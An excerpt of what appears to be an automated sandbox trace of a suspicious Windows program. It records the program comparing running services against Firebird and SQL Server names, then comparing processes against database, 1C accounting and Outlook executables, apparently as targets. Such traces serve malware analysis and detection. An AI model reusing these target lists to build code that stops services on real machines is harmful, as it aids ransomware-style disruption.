lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0039.624] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0039.624] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0039.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0039.624] lstrlenW (lpString="gpsvc") returned 5 [0039.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0039.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0039.624] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0039.624] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0039.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0039.624] lstrlenW (lpString="iphlpsvc") returned 8 [0039.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.624] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0039.624] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0039.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0039.624] lstrlenW (lpString="LanmanServer") returned 12 [0039.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0039.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0039.624] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0039.624] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0039.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0039.624] lstrlenW (lpString="LanmanWorkstation") returned 17 [0039.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.625] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0039.625] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0039.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0039.625] lstrlenW (lpString="lmhosts") returned 7 [0039.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0039.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0039.625] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0039.625] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0039.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0039.625] lstrlenW (lpString="MMCSS") returned 5 [0039.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0039.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0039.625] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0039.625] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0039.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0039.625] lstrlenW (lpString="MpsSvc") returned 6 [0039.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0039.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0039.625] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0039.625] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0039.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0039.625] lstrlenW (lpString="Netman") returned 6 [0039.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0039.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0039.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0039.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0039.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0039.626] lstrlenW (lpString="netprofm") returned 8 [0039.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0039.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0039.626] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0039.626] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0039.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0039.626] lstrlenW (lpString="NlaSvc") returned 6 [0039.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0039.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0039.626] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0039.626] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0039.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0039.626] lstrlenW (lpString="nsi") returned 3 [0039.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0039.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0039.626] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0039.626] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0039.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0039.626] lstrlenW (lpString="PcaSvc") returned 6 [0039.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0039.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0039.626] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0039.626] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0039.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0039.627] lstrlenW (lpString="PlugPlay") returned 8 [0039.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0039.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0039.627] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0039.627] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0039.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0039.627] lstrlenW (lpString="Power") returned 5 [0039.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0039.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0039.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0039.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0039.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0039.627] lstrlenW (lpString="ProfSvc") returned 7 [0039.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0039.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0039.627] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0039.627] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0039.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0039.627] lstrlenW (lpString="RpcEptMapper") returned 12 [0039.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.627] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0039.627] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0039.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0039.628] lstrlenW (lpString="RpcSs") returned 5 [0039.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0039.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0039.628] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0039.628] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0039.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0039.628] lstrlenW (lpString="SamSs") returned 5 [0039.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0039.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0039.628] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0039.628] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0039.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0039.628] lstrlenW (lpString="Schedule") returned 8 [0039.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0039.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0039.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0039.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0039.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0039.628] lstrlenW (lpString="SENS") returned 4 [0039.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0039.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0039.628] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0039.628] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0039.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0039.629] lstrlenW (lpString="ShellHWDetection") returned 16 [0039.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.629] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0039.629] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0039.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0039.629] lstrlenW (lpString="Spooler") returned 7 [0039.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0039.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0039.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0039.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0039.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0039.629] lstrlenW (lpString="SysMain") returned 7 [0039.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0039.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0039.629] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0039.629] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0039.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0039.629] lstrlenW (lpString="Themes") returned 6 [0039.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0039.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0039.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0039.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0039.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0039.630] lstrlenW (lpString="TrkWks") returned 6 [0039.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0039.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0039.630] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0039.630] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0039.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0039.630] lstrlenW (lpString="UxSms") returned 5 [0039.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0039.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0039.630] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0039.630] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0039.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0039.630] lstrlenW (lpString="WdiServiceHost") returned 14 [0039.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.630] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0039.630] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0039.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0039.630] lstrlenW (lpString="WdiSystemHost") returned 13 [0039.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.631] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0039.631] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0039.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0039.631] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0039.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.631] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0039.631] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0039.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0039.631] lstrlenW (lpString="Winmgmt") returned 7 [0039.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0039.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0039.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0039.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0039.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0039.631] lstrlenW (lpString="WPDBusEnum") returned 10 [0039.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0039.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0039.631] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0039.631] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0039.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0039.631] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36f0758 | out: hHeap=0x5a0000) returned 1 [0039.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164 [0039.634] Process32FirstW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.635] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0039.636] lstrlenW (lpString="System") returned 6 [0039.636] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0039.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0039.636] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0039.636] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0039.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0039.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0039.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0039.636] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0039.637] lstrlenW (lpString="smss.exe") returned 8 [0039.637] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0039.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0039.637] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0039.637] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0039.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0039.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0039.637] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0039.637] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.638] lstrlenW (lpString="csrss.exe") returned 9 [0039.638] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0039.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0039.638] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0039.638] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0039.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0039.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0039.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0039.638] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0039.639] lstrlenW (lpString="wininit.exe") returned 11 [0039.639] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0039.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0039.639] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0039.639] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0039.639] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0039.639] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0039.639] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0039.639] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.640] lstrlenW (lpString="csrss.exe") returned 9 [0039.640] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0039.640] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0039.640] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0039.640] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0039.640] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0039.640] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0039.640] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0039.641] lstrlenW (lpString="winlogon.exe") returned 12 [0039.641] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0039.641] lstrlenW (lpString="services.exe") returned 12 [0039.642] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0039.642] lstrlenW (lpString="lsass.exe") returned 9 [0039.642] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0039.643] lstrlenW (lpString="lsm.exe") returned 7 [0039.643] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.644] lstrlenW (lpString="svchost.exe") returned 11 [0039.644] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.644] lstrlenW (lpString="svchost.exe") returned 11 [0039.644] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.645] lstrlenW (lpString="svchost.exe") returned 11 [0039.645] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.646] lstrlenW (lpString="svchost.exe") returned 11 [0039.646] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.646] lstrlenW (lpString="svchost.exe") returned 11 [0039.646] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0039.647] lstrlenW (lpString="audiodg.exe") returned 11 [0039.647] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.648] lstrlenW (lpString="svchost.exe") returned 11 [0039.648] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.648] lstrlenW (lpString="svchost.exe") returned 11 [0039.648] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0039.649] lstrlenW (lpString="dwm.exe") returned 7 [0039.649] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0039.650] lstrlenW (lpString="explorer.exe") returned 12 [0039.650] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0039.757] lstrlenW (lpString="spoolsv.exe") returned 11 [0039.757] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.757] lstrlenW (lpString="taskhost.exe") returned 12 [0039.757] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.758] lstrlenW (lpString="svchost.exe") returned 11 [0039.758] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0039.758] lstrlenW (lpString="taskeng.exe") returned 11 